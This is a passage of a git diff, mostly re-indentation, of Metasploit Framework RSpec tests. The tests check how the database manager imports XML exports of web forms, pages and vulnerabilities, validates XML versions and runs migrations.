subject(:import_msf_web_vuln_element) do - db_manager.import_msf_web_vuln_element( - element, - options, - ¬ifier - ) - end - - context 'call to #import_msf_web_element' do - it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' - - context 'specialization return' do - let(:element) do - document.root - end - - let(:source) do - xml.web_vuln do - xml.blame( - web_vuln_attributes.fetch(:blame) - ) - xml.category( - web_vuln_attributes.fetch(:category) - ) - xml.confidence( - web_vuln_attributes.fetch(:confidence) - ) - xml.description( - web_vuln_attributes.fetch(:description) - ) - xml.method( - web_vuln_attributes.fetch(:method) - ) - xml.name( - web_vuln_attributes.fetch(:name) - ) - xml.pname( - web_vuln_attributes.fetch(:pname) - ) - xml.proof( - web_vuln_attributes.fetch(:proof) - ) - xml.risk( - web_vuln_attributes.fetch(:risk) - ) - end - - xml.target! - end - - it 'should be a Hash' do - with_info do |info| - info.should be_a Hash - end - - import_msf_web_vuln_element - end - - it 'should include :blame' do - with_info do |info| - info[:blame].should == web_vuln_attributes.fetch(:blame) - end - end - - it 'should include :category' do - with_info do |info| - info[:category].should == web_vuln_attributes.fetch(:category) - end - end - - it 'should include :confidence' do - with_info do |info| - info[:confidence].should == web_vuln_attributes.fetch(:confidence) - end - end - - it 'should include :description' do - with_info do |info| - info[:description].should == web_vuln_attributes.fetch(:description) - end - end - - it 'should include :method' do - with_info do |info| - info[:method].should == web_vuln_attributes.fetch(:method) - end - end - - it 'should include :name' do - with_info do |info| - info[:name].should == web_vuln_attributes.fetch(:name) - end - end - - it 'should include :pname' do - with_info do |info| - info[:pname].should == web_vuln_attributes.fetch(:pname) - end - end - - it 'should include :proof' do - with_info do |info| - info[:proof].should == web_vuln_attributes.fetch(:proof) - end - end - - it 'should include :risk' do - with_info do |info| - info[:risk].should == web_vuln_attributes.fetch(:risk) - end - end - end - end - - context 'with required attributes' do - include_context 'DatabaseCleaner' - - let(:element) do - document.root - end - - let(:source) do - xml.web_vuln do - xml.category( - web_vuln_attributes.fetch(:category) - ) - xml.host( - host_attributes.fetch(:address) - ) - xml.method( - web_vuln_attributes.fetch(:method) - ) - xml.name( - web_vuln_attributes.fetch(:name) - ) - - serialized_params = serialize( - web_vuln_attributes.fetch(:params) - ) - xml.params(serialized_params) - - xml.path( - web_vuln_attributes.fetch(:path) - ) - xml.pname( - web_vuln_attributes.fetch(:pname) - ) - xml.port( - service_attributes.fetch(:port) - ) - xml.proof( - web_vuln_attributes.fetch(:proof) - ) - xml.risk( - web_vuln_attributes.fetch(:risk) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - - xml.target! - end - - it 'should create an Mdm::WebVuln' do - expect { - import_msf_web_vuln_element - }.to change(Mdm::WebVuln, :count).by(1) - end - end - end - - context '#import_msf_xml' do - let(:data) do - '' - end - - subject(:import_msf_xml) do - db_manager.import_msf_xml(:data => data) - end - - it 'should call #check_msf_xml_version!' do - db_manager.should_receive(:check_msf_xml_version!).and_call_original - - import_msf_xml - end - - context 'with web_forms/web_form elements' do - include_context 'DatabaseCleaner' - - let(:data) do - xml.tag!('MetasploitV4') do - xml.web_forms do - xml.web_form do - xml.host( - host_attributes.fetch(:address) - ) - xml.method( - web_form_attributes.fetch(:method) - ) - xml.path( - web_form_attributes.fetch(:path) - ) - xml.port( - service_attributes.fetch(:port) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - end - end - - xml.target! - end - - it 'should call #import_msf_web_form_element' do - db_manager.should_receive(:import_msf_web_form_element).and_call_original - - import_msf_xml - end - end - - context 'with web_pages/web_page elements' do - include_context 'DatabaseCleaner' - - let(:data) do - xml.tag!('MetasploitV4') do - xml.web_pages do - xml.web_page do - xml.body( - web_page_attributes.fetch(:body) - ) - xml.code( - web_page_attributes.fetch(:code) - ) - - serialized_headers = serialize( - web_page_attributes.fetch(:headers) - ) - xml.headers(serialized_headers) - - xml.host( - host_attributes.fetch(:address) - ) - xml.path( - web_page_attributes.fetch(:headers) - ) - xml.port( - service_attributes.fetch(:port) - ) - xml.query( - web_page_attributes.fetch(:query) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - end - end - - xml.target! - end - - it 'should call #import_msf_web_page_element' do - db_manager.should_receive(:import_msf_web_page_element).and_call_original - - import_msf_xml - end - end - - context 'with web_vulns/web_vuln elements' do - include_context 'DatabaseCleaner' - - let(:data) do - xml.tag!('MetasploitV4') do - xml.web_vulns do - xml.web_vuln do - xml.category(web_vuln.category) - - service = web_vuln.web_site.service - xml.host(service.host.address) - - xml.method(web_vuln.method) - xml.name(web_vuln.name) - - serialized_params = serialize(web_vuln.params) - xml.params(serialized_params) - - xml.path(web_vuln.path) - xml.pname(web_vuln.pname) - xml.port(service.port) - xml.proof(web_vuln.proof) - - ssl = false - - if service.name == 'https' - ssl = true - end - - xml.ssl(ssl) - end - end - end - - xml.target! - end - - let(:web_vuln) do - FactoryGirl.create(:mdm_web_vuln) - end - - it 'should call #import_msf_web_vuln_element' do - db_manager.should_receive(:import_msf_web_vuln_element).and_call_original - - import_msf_xml - end - end - end + # Serialized format from pro/modules/auxiliary/pro/report.rb + def serialize(object) + # FIXME https://www.pivotaltracker.com/story/show/46578647 + marshalled = Marshal.dump(object) + base64_encoded = [marshalled].pack('m') + compact = base64_encoded.gsub(/\s+/, '') + + compact + end + + def with_info + db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| + info = specialization.call(element, options) + + yield info + end + + subject + end + + let(:allow_yaml) do + false + end + + let(:document) do + REXML::Document.new(source) + end + + let(:element) do + nil + end + + let(:host_attributes) do + FactoryGirl.attributes_for(:mdm_host) + end + + let(:msf_web_text_element_names) do + [ + 'created-at', + 'host', + 'path', + 'port', + 'query', + 'ssl', + 'updated-at', + 'vhost' + ] + end + + let(:notifier) do + lambda do |event, data| + + end + end + + let(:options) do + { + :allow_yaml => allow_yaml, + :workspace => workspace + } + end + + let(:service_attributes) do + FactoryGirl.attributes_for(:web_service) + end + + let(:web_form_attributes) do + FactoryGirl.attributes_for(:mdm_web_form, :exported) + end + + let(:web_page_attributes) do + FactoryGirl.attributes_for(:mdm_web_page) + end + + let(:workspace) do + nil + end + + let(:xml) do + Builder::XmlMarkup.new(:indent => 2) + end + + it 'should include methods from module so method can be overridden easier in pro' do + db_manager.should be_a Msf::DBManager::ImportMsfXml + end + + context 'CONSTANTS' do + it 'should define MSF_WEB_PAGE_TEXT_ELEMENT_NAMES in any order' do + described_class::MSF_WEB_PAGE_TEXT_ELEMENT_NAMES =~ [ + 'auth', + 'body', + 'code', + 'cookie', + 'ctype', + 'location', + 'mtime' + ] + end + + it 'should define MSF_WEB_TEXT_ELEMENT_NAMES in any order' do + described_class::MSF_WEB_TEXT_ELEMENT_NAMES =~ msf_web_text_element_names + end + + it 'should define MSF_WEB_VULN_TEXT_ELEMENT_NAMES in any order' do + described_class::MSF_WEB_VULN_TEXT_ELEMENT_NAMES =~ [ + 'blame', + 'category', + 'confidence', + 'description', + 'method', + 'name', + 'pname', + 'proof', + 'risk' + ] + end + end + + context '#check_msf_xml_version!' do + let(:root_tag) do + 'root' + end + + let(:source) do + xml.tag!(root_tag) + + xml.target! + end + + subject(:metadata) do + db_manager.send(:check_msf_xml_version!, document) + end + + it_should_behave_like( + 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'MetasploitExpressV1', + :allow_yaml => true + ) + + it_should_behave_like( + 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'MetasploitExpressV2', + :allow_yaml => true + ) + + it_should_behave_like( + 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'MetasploitExpressV3', + :allow_yaml => false + ) + + it_should_behave_like( + 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'MetasploitExpressV4', + :allow_yaml => false + ) + + context 'with other' do + it 'should raise DBImportError' do + expect { + metadata + }.to raise_error( + Msf::DBImportError, + 'Unsupported Metasploit XML document format' + ) + end + end + end + + context '#import_msf_text_element' do + let(:parent_element) do + document.root + end + + let(:child_name) do + 'child' + end + + let(:child_sym) do + child_name.to_sym + end + + subject(:info) do + db_manager.send(:import_msf_text_element, parent_element, child_name) + end + + context 'with child element' do + let(:source) do + xml.parent do + xml.tag!(child_name, text) + end + + xml.target! + end + + context 'with padded text' do + let(:stripped) do + 'stripped' + end + + let(:text) do + " #{stripped} " + end + + it 'should strip text' do + info[:child].should == stripped + end + end + + context 'with NULL text' do + let(:text) do + 'NULL' + end + + it 'should have nil for child name in info' do + # use have_key to verify info isn't just returning hash default of + # `nil`. + info.should have_key(child_sym) + info[child_sym].should be_nil + end + end + + context 'without NULL text' do + let(:text) do + 'some text' + end + + it 'should have text for child name in info' do + info[child_sym].should == text + end + end + end + + context 'without child element' do + let(:source) do + xml.parent + + xml.target! + end + + it 'should return an empty Hash' do + info.should == {} + end + end + end + + context 'import_msf_web_element' do + let(:element) do + document.root + end + + let(:options) do + {} + end + + let(:specialization) do + lambda { |element, options| + {} + } + end + + subject(:import_msf_web_element) do + db_manager.send( + :import_msf_web_element, + element, + options, + &specialization + ) + end + + context 'with :type' do + include_context 'DatabaseCleaner' + + let(:source) do + xml.tag!("web_#{type}") do + web_site = web_vuln.web_site + service = web_site.service + + xml.host(service.host.address) + xml.path(web_vuln.path) + xml.port(service.port) + xml.query(web_vuln.query) + + ssl = false + + if service.name == 'https' + ssl = true + end + + xml.ssl(ssl) + + xml.vhost(web_site.vhost) + end + + xml.target! + end + + let(:type) do + :vuln + end + + let(:web_vuln) do + FactoryGirl.create(:mdm_web_vuln) + end + + before(:each) do + db_manager.stub( + :report_web_vuln + ).with( + an_instance_of(Hash) + ) + + options[:type] = type + end + + context 'with :workspace' do + let(:workspace) do + double(':workspace') + end + + before(:each) do + options[:workspace] = workspace + end + + it 'should not call Msf::DBManager#workspace' do + db_manager.should_not_receive(:workspace) + + import_msf_web_element + end + + it 'should pass :workspace to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:workspace => workspace) + ) + + import_msf_web_element + end + end + + context 'without :workspace' do + let(:workspace) do + FactoryGirl.create(:mdm_workspace) + end + + before(:each) do + db_manager.workspace = workspace + end + + it 'should call Msf::DBManager#workspace' do + db_manager.should_receive(:workspace).and_call_original + + import_msf_web_element + end + + it 'should pass Msf::DBManager#workspace to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:workspace => workspace) + ) + + import_msf_web_element + end + end + + it 'should import all elements in MSF_WEB_TEXT_ELEMENT_NAMES with #import_msf_text_element' do + msf_web_text_element_names.each do |name| + db_manager.should_receive( + :import_msf_text_element + ).with( + element, + name + ).and_call_original + end + + import_msf_web_element + end + + context 'with non-empty Hash from #import_msf_text_element' do + let(:returned_hash) do + { + :host => '192.168.0.1' + } + end + + before(:each) do + db_manager.stub(:import_msf_text_element).and_return(returned_hash) + end + + it 'should pass returned Hash as part of Hash passed to report_web_<:type' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(returned_hash) + ) + + import_msf_web_element + end + end + + context 'ssl element' do + context 'without element' do + let(:source) do + xml.tag!("web_#{type}") + + xml.target! + end + + it 'should pass false for :ssl to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:ssl => false) + ) + + import_msf_web_element + end + end + + context 'with element' do + let(:source) do + xml.tag!("web_#{type}") do + xml.ssl(ssl) + end + + xml.target! + end + + context "with 'true' text" do + let(:ssl) do + true + end + + it 'should pass true for :ssl to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:ssl => true) + ) + + import_msf_web_element + end + end + + context "without 'true' text" do + let(:ssl) do + false + end + + it 'should pass false for :ssl to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:ssl => false) + ) + + import_msf_web_element + end + end + end + end + + context 'specialization block' do + let(:returned_hash) do + { + :specialized => double('Value') + } + end + + let(:specialization) do + lambda { |element, option| + returned_hash + } + end + + it 'should be called with element and options' do + actual_args = [] + + db_manager.send( + :import_msf_web_element, + element, + options) do |*args| + actual_args = args + + returned_hash + end + + actual_args.should == [element, options] + end + + it 'should pass return Hash to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(returned_hash) + ) + + import_msf_web_element + end + end + + context 'notifier' do + context 'with :notifier' do + let(:event) do + "web_#{type}".to_sym + end + + let(:notifier) do + lambda do |*args| + successive_args << args + end + end + + let(:successive_args) do + [] + end + + before(:each) do + options[:notifier] = notifier + end + + it 'should call :notifier with event and path' do + import_msf_web_element + + successive_args.length.should == 1 + + args = successive_args[0] + + args.length.should == 2 + args[0].should == event + args[1].should == web_vuln.path + end + end + + context 'without :notifier' do + it 'should not raise an error' do + expect { + import_msf_web_element + }.to_not raise_error + end + end + end + end + + context 'without :type' do + let(:element) do + nil + end + + it 'should raise KeyError' do + expect { + import_msf_web_element + }.to raise_error(KeyError, 'key not found: :type') + end + end + end + + context '#import_msf_web_form_element' do + let(:type) do + :form + end + + subject(:import_msf_web_form_element) do + db_manager.import_msf_web_form_element( + element, + options, + ¬ifier + ) + end + + context 'call to #import_msf_web_element' do + it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' + + context 'specialization return' do + let(:element) do + document.root + end + + let(:source) do + xml.web_form do + xml.method( + web_form_attributes.fetch(:method) + ) + + serialized_params = serialize( + web_form_attributes.fetch(:params) + ) + xml.params(serialized_params) + end + + xml.target! + end + + it 'should be a Hash' do + with_info do |info| + info.should be_a Hash + end + end + + it 'should include :method' do + with_info do |info| + info[:method].should == web_form_attributes[:method] + end + end + + it 'should include :params' do + with_info do |info| + info[:params].should == web_form_attributes[:params] + end + end + end + end + + context 'with required attributes' do + include_context 'DatabaseCleaner' + + let(:element) do + document.root + end + + let(:source) do + xml.web_form do + xml.host( + host_attributes.fetch(:address) + ) + xml.method( + web_form_attributes.fetch(:method) + ) + xml.path( + web_form_attributes.fetch(:path) + ) + xml.port( + service_attributes.fetch(:port) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + + xml.target! + end + + it 'should create an Mdm::WebForm' do + expect { + import_msf_web_form_element + }.to change(Mdm::WebForm, :count).by(1) + end + end + end + + context '#import_msf_web_page_element' do + let(:type) do + :page + end + + subject(:import_msf_web_page_element) do + db_manager.import_msf_web_page_element( + element, + options, + ¬ifier + ) + end + + context 'call to #import_msf_web_element' do + it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' + + context 'specialization return' do + let(:element) do + document.root + end + + let(:source) do + xml.web_page do + xml.auth( + web_page_attributes.fetch(:auth) + ) + xml.body( + web_page_attributes.fetch(:body) + ) + xml.code( + web_page_attributes.fetch(:code) + ) + xml.cookie( + web_page_attributes.fetch(:cookie) + ) + xml.ctype( + web_page_attributes.fetch(:ctype) + ) + + serialized_headers = serialize( + web_page_attributes.fetch(:headers) + ) + xml.headers(serialized_headers) + + xml.location( + web_page_attributes.fetch(:location) + ) + xml.mtime( + web_page_attributes.fetch(:mtime) + ) + end + + xml.target! + end + + it 'should be a Hash' do + db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| + info = specialization.call(element, options) + + info.should be_a Hash + end + + import_msf_web_page_element + end + + it 'should include :auth' do + with_info do |info| + info[:auth].should == web_page_attributes.fetch(:auth) + end + end + + it 'should include :body' do + with_info do |info| + info[:body].should == web_page_attributes.fetch(:body) + end + end + + it 'should include :code' do + with_info do |info| + info[:code].should == web_page_attributes.fetch(:code) + end + end + + it 'should include :cookie' do + with_info do |info| + info[:cookie].should == web_page_attributes.fetch(:cookie) + end + end + + it 'should include :ctype' do + with_info do |info| + info[:ctype].should == web_page_attributes.fetch(:ctype) + end + end + + it 'should include :headers' do + with_info do |info| + info[:headers].should == web_page_attributes.fetch(:headers) + end + end + + it 'should include :location' do + with_info do |info| + info[:location].should == web_page_attributes.fetch(:location) + end + end + + it 'should include :mtime' do + with_info do |info| + info[:mtime].should == web_page_attributes.fetch(:mtime) + end + end + end + end + + context 'with required attributes' do + include_context 'DatabaseCleaner' + + let(:element) do + document.root + end + + let(:source) do + xml.web_page do + xml.body( + web_page_attributes.fetch(:body) + ) + xml.code( + web_page_attributes.fetch(:code) + ) + + serialized_headers = serialize( + web_page_attributes.fetch(:headers) + ) + xml.headers(serialized_headers) + + xml.host( + host_attributes.fetch(:address) + ) + xml.path( + web_page_attributes.fetch(:headers) + ) + xml.port( + service_attributes.fetch(:port) + ) + xml.query( + web_page_attributes.fetch(:query) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + + xml.target! + end + + it 'should create an Mdm::WebPage' do + expect { + import_msf_web_page_element + }.to change(Mdm::WebPage, :count).by(1) + end + end + end + + context '#import_msf_web_vuln_element' do + let(:type) do + :vuln + end + + let(:web_vuln_attributes) do + FactoryGirl.attributes_for(:exported_web_vuln) + end + + subject(:import_msf_web_vuln_element) do + db_manager.import_msf_web_vuln_element( + element, + options, + ¬ifier + ) + end + + context 'call to #import_msf_web_element' do + it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' + + context 'specialization return' do + let(:element) do + document.root + end + + let(:source) do + xml.web_vuln do + xml.blame( + web_vuln_attributes.fetch(:blame) + ) + xml.category( + web_vuln_attributes.fetch(:category) + ) + xml.confidence( + web_vuln_attributes.fetch(:confidence) + ) + xml.description( + web_vuln_attributes.fetch(:description) + ) + xml.method( + web_vuln_attributes.fetch(:method) + ) + xml.name( + web_vuln_attributes.fetch(:name) + ) + xml.pname( + web_vuln_attributes.fetch(:pname) + ) + xml.proof( + web_vuln_attributes.fetch(:proof) + ) + xml.risk( + web_vuln_attributes.fetch(:risk) + ) + end + + xml.target! + end + + it 'should be a Hash' do + with_info do |info| + info.should be_a Hash + end + + import_msf_web_vuln_element + end + + it 'should include :blame' do + with_info do |info| + info[:blame].should == web_vuln_attributes.fetch(:blame) + end + end + + it 'should include :category' do + with_info do |info| + info[:category].should == web_vuln_attributes.fetch(:category) + end + end + + it 'should include :confidence' do + with_info do |info| + info[:confidence].should == web_vuln_attributes.fetch(:confidence) + end + end + + it 'should include :description' do + with_info do |info| + info[:description].should == web_vuln_attributes.fetch(:description) + end + end + + it 'should include :method' do + with_info do |info| + info[:method].should == web_vuln_attributes.fetch(:method) + end + end + + it 'should include :name' do + with_info do |info| + info[:name].should == web_vuln_attributes.fetch(:name) + end + end + + it 'should include :pname' do + with_info do |info| + info[:pname].should == web_vuln_attributes.fetch(:pname) + end + end + + it 'should include :proof' do + with_info do |info| + info[:proof].should == web_vuln_attributes.fetch(:proof) + end + end + + it 'should include :risk' do + with_info do |info| + info[:risk].should == web_vuln_attributes.fetch(:risk) + end + end + end + end + + context 'with required attributes' do + include_context 'DatabaseCleaner' + + let(:element) do + document.root + end + + let(:source) do + xml.web_vuln do + xml.category( + web_vuln_attributes.fetch(:category) + ) + xml.host( + host_attributes.fetch(:address) + ) + xml.method( + web_vuln_attributes.fetch(:method) + ) + xml.name( + web_vuln_attributes.fetch(:name) + ) + + serialized_params = serialize( + web_vuln_attributes.fetch(:params) + ) + xml.params(serialized_params) + + xml.path( + web_vuln_attributes.fetch(:path) + ) + xml.pname( + web_vuln_attributes.fetch(:pname) + ) + xml.port( + service_attributes.fetch(:port) + ) + xml.proof( + web_vuln_attributes.fetch(:proof) + ) + xml.risk( + web_vuln_attributes.fetch(:risk) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + + xml.target! + end + + it 'should create an Mdm::WebVuln' do + expect { + import_msf_web_vuln_element + }.to change(Mdm::WebVuln, :count).by(1) + end + end + end + + context '#import_msf_xml' do + let(:data) do + '' + end + + subject(:import_msf_xml) do + db_manager.import_msf_xml(:data => data) + end + + it 'should call #check_msf_xml_version!' do + db_manager.should_receive(:check_msf_xml_version!).and_call_original + + import_msf_xml + end + + context 'with web_forms/web_form elements' do + include_context 'DatabaseCleaner' + + let(:data) do + xml.tag!('MetasploitV4') do + xml.web_forms do + xml.web_form do + xml.host( + host_attributes.fetch(:address) + ) + xml.method( + web_form_attributes.fetch(:method) + ) + xml.path( + web_form_attributes.fetch(:path) + ) + xml.port( + service_attributes.fetch(:port) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + end + end + + xml.target! + end + + it 'should call #import_msf_web_form_element' do + db_manager.should_receive(:import_msf_web_form_element).and_call_original + + import_msf_xml + end + end + + context 'with web_pages/web_page elements' do + include_context 'DatabaseCleaner' + + let(:data) do + xml.tag!('MetasploitV4') do + xml.web_pages do + xml.web_page do + xml.body( + web_page_attributes.fetch(:body) + ) + xml.code( + web_page_attributes.fetch(:code) + ) + + serialized_headers = serialize( + web_page_attributes.fetch(:headers) + ) + xml.headers(serialized_headers) + + xml.host( + host_attributes.fetch(:address) + ) + xml.path( + web_page_attributes.fetch(:headers) + ) + xml.port( + service_attributes.fetch(:port) + ) + xml.query( + web_page_attributes.fetch(:query) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + end + end + + xml.target! + end + + it 'should call #import_msf_web_page_element' do + db_manager.should_receive(:import_msf_web_page_element).and_call_original + + import_msf_xml + end + end + + context 'with web_vulns/web_vuln elements' do + include_context 'DatabaseCleaner' + + let(:data) do + xml.tag!('MetasploitV4') do + xml.web_vulns do + xml.web_vuln do + xml.category(web_vuln.category) + + service = web_vuln.web_site.service + xml.host(service.host.address) + + xml.method(web_vuln.method) + xml.name(web_vuln.name) + + serialized_params = serialize(web_vuln.params) + xml.params(serialized_params) + + xml.path(web_vuln.path) + xml.pname(web_vuln.pname) + xml.port(service.port) + xml.proof(web_vuln.proof) + + ssl = false + + if service.name == 'https' + ssl = true + end + + xml.ssl(ssl) + end + end + end + + xml.target! + end + + let(:web_vuln) do + FactoryGirl.create(:mdm_web_vuln) + end + + it 'should call #import_msf_web_vuln_element' do + db_manager.should_receive(:import_msf_web_vuln_element).and_call_original + + import_msf_xml + end + end + end end diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb index 056529121750..017b08d427a6 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb +++ b/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb @@ -1,25 +1,25 @@ # -*- coding:binary -*- shared_examples_for 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag' do |root_tag, options={}| - options.assert_valid_keys(:allow_yaml) - allow_yaml = options.fetch(:allow_yaml) + options.assert_valid_keys(:allow_yaml) + allow_yaml = options.fetch(:allow_yaml) - context "with #{root_tag}" do - let(:root_tag) do - root_tag - end + context "with #{root_tag}" do + let(:root_tag) do + root_tag + end - should_label_by_allow_yaml = { - true => 'should', - false => 'should not' - } - should_label = should_label_by_allow_yaml[allow_yaml] + should_label_by_allow_yaml = { + true => 'should', + false => 'should not' + } + should_label = should_label_by_allow_yaml[allow_yaml] - it "#{should_label} allow YAML" do - expect(metadata[:allow_yaml]).to eq(allow_yaml) - end + it "#{should_label} allow YAML" do + expect(metadata[:allow_yaml]).to eq(allow_yaml) + end - it "should have #{root_tag} as root tag" do - metadata[:root_tag].should == root_tag - end - end + it "should have #{root_tag} as root tag" do + metadata[:root_tag].should == root_tag + end + end end diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb index c0e209816b86..8ccf5f5573cf 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb +++ b/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb @@ -1,42 +1,42 @@ # -*- coding:binary -*- shared_examples_for 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' do - it 'should call #import_msf_web_element with element' do - db_manager.should_receive(:import_msf_web_element).with(element, anything) + it 'should call #import_msf_web_element with element' do + db_manager.should_receive(:import_msf_web_element).with(element, anything) - subject - end + subject + end - it 'should call #import_msf_web_element with :allow_yaml and :workspace' do - db_manager.should_receive(:import_msf_web_element).with( - anything, - hash_including( - :allow_yaml => allow_yaml, - :workspace => workspace - ) - ) + it 'should call #import_msf_web_element with :allow_yaml and :workspace' do + db_manager.should_receive(:import_msf_web_element).with( + anything, + hash_including( + :allow_yaml => allow_yaml, + :workspace => workspace + ) + ) - subject - end + subject + end - it 'should call #import_msf_web_element with :type' do - db_manager.should_receive(:import_msf_web_element).with( - anything, - hash_including( - :type => type - ) - ) + it 'should call #import_msf_web_element with :type' do + db_manager.should_receive(:import_msf_web_element).with( + anything, + hash_including( + :type => type + ) + ) - subject - end + subject + end - it 'should pass block to #import_msf_web_element as :notifier' do - db_manager.should_receive( - :import_msf_web_element - ).with( - anything, - hash_including(:notifier => notifier) - ) + it 'should pass block to #import_msf_web_element as :notifier' do + db_manager.should_receive( + :import_msf_web_element + ).with( + anything, + hash_including(:notifier => notifier) + ) - subject - end + subject + end end diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 764429594295..1bdcbe44c182 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -1,143 +1,143 @@ shared_examples_for 'Msf::DBManager::Migration' do - it { should be_a Msf::DBManager::Migration } + it { should be_a Msf::DBManager::Migration } - context '#migrate' do - def migrate - db_manager.migrate - end + context '#migrate' do + def migrate + db_manager.migrate + end - it 'should create a connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice + it 'should create a connection' do + ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice - migrate - end + migrate + end - it 'should call ActiveRecord::Migrator.migrate' do - ActiveRecord::Migrator.should_receive(:migrate).with( - ActiveRecord::Migrator.migrations_paths - ) + it 'should call ActiveRecord::Migrator.migrate' do + ActiveRecord::Migrator.should_receive(:migrate).with( + ActiveRecord::Migrator.migrations_paths + ) - migrate - end + migrate + end - it 'should return migrations that were ran from ActiveRecord::Migrator.migrate' do - migrations = [double('Migration 1')] - ActiveRecord::Migrator.stub(:migrate => migrations) + it 'should return migrations that were ran from ActiveRecord::Migrator.migrate' do + migrations = [double('Migration 1')] + ActiveRecord::Migrator.stub(:migrate => migrations) - migrate.should == migrations - end + migrate.should == migrations + end - it 'should reset the column information' do - db_manager.should_receive(:reset_column_information) + it 'should reset the column information' do + db_manager.should_receive(:reset_column_information) - migrate - end + migrate + end - context 'with StandardError from ActiveRecord::Migration.migrate' do - let(:error) do - StandardError.new(message) - end + context 'with StandardError from ActiveRecord::Migration.migrate' do + let(:error) do + StandardError.new(message) + end - let(:message) do - "Error during migration" - end + let(:message) do + "Error during migration" + end - before(:each) do - ActiveRecord::Migrator.stub(:migrate).and_raise(error) - end + before(:each) do + ActiveRecord::Migrator.stub(:migrate).and_raise(error) + end - it 'should set Msf::DBManager#error' do - migrate + it 'should set Msf::DBManager#error' do + migrate - db_manager.error.should == error - end + db_manager.error.should == error + end - it 'should log error message at error level' do - db_manager.should_receive(:elog) do |error_message| - error_message.should include(error.to_s) - end + it 'should log error message at error level' do + db_manager.should_receive(:elog) do |error_message| + error_message.should include(error.to_s) + end - migrate - end + migrate + end - it 'should log error backtrace at debug level' do - db_manager.should_receive(:dlog) do |debug_message| - debug_message.should include('Call stack') - end + it 'should log error backtrace at debug level' do + db_manager.should_receive(:dlog) do |debug_message| + debug_message.should include('Call stack') + end - migrate - end - end + migrate + end + end - context 'with verbose' do - def migrate - db_manager.migrate(verbose) - end + context 'with verbose' do + def migrate + db_manager.migrate(verbose) + end - context 'false' do - let(:verbose) do - false - end + context 'false' do + let(:verbose) do + false + end - it 'should set ActiveRecord::Migration.verbose to false' do - ActiveRecord::Migration.should_receive(:verbose=).with(verbose) + it 'should set ActiveRecord::Migration.verbose to false' do + ActiveRecord::Migration.should_receive(:verbose=).with(verbose) - migrate - end - end + migrate + end + end - context 'true' do - let(:verbose) do - true - end + context 'true' do + let(:verbose) do + true + end - it 'should set ActiveRecord::Migration.verbose to true' do - ActiveRecord::Migration.should_receive(:verbose=).with(verbose) + it 'should set ActiveRecord::Migration.verbose to true' do + ActiveRecord::Migration.should_receive(:verbose=).with(verbose) - migrate - end - end - end + migrate + end + end + end - context 'without verbose' do - it 'should set ActiveRecord::Migration.verbose to false' do - ActiveRecord::Migration.should_receive(:verbose=).with(false) + context 'without verbose' do + it 'should set ActiveRecord::Migration.verbose to false' do + ActiveRecord::Migration.should_receive(:verbose=).with(false) - db_manager.migrate - end - end - end + db_manager.migrate + end + end + end - context '#migrated' do - it { should respond_to :migrated } - it { should respond_to :migrated= } - end + context '#migrated' do + it { should respond_to :migrated } + it { should respond_to :migrated= } + end - context '#reset_column_information' do - def reset_column_information - db_manager.send(:reset_column_information) - end + context '#reset_column_information' do + def reset_column_information + db_manager.send(:reset_column_information) + end - it 'should use ActiveRecord::Base.descendants to find both direct and indirect subclasses' do - ActiveRecord::Base.should_receive(:descendants).and_return([]) + it 'should use ActiveRecord::Base.descendants to find both direct and indirect subclasses' do + ActiveRecord::Base.should_receive(:descendants).and_return([]) - reset_column_information - end + reset_column_information + end - it 'should reset column information on each descendant of ActiveRecord::Base' do - descendants = [] + it 'should reset column information on each descendant of ActiveRecord::Base' do + 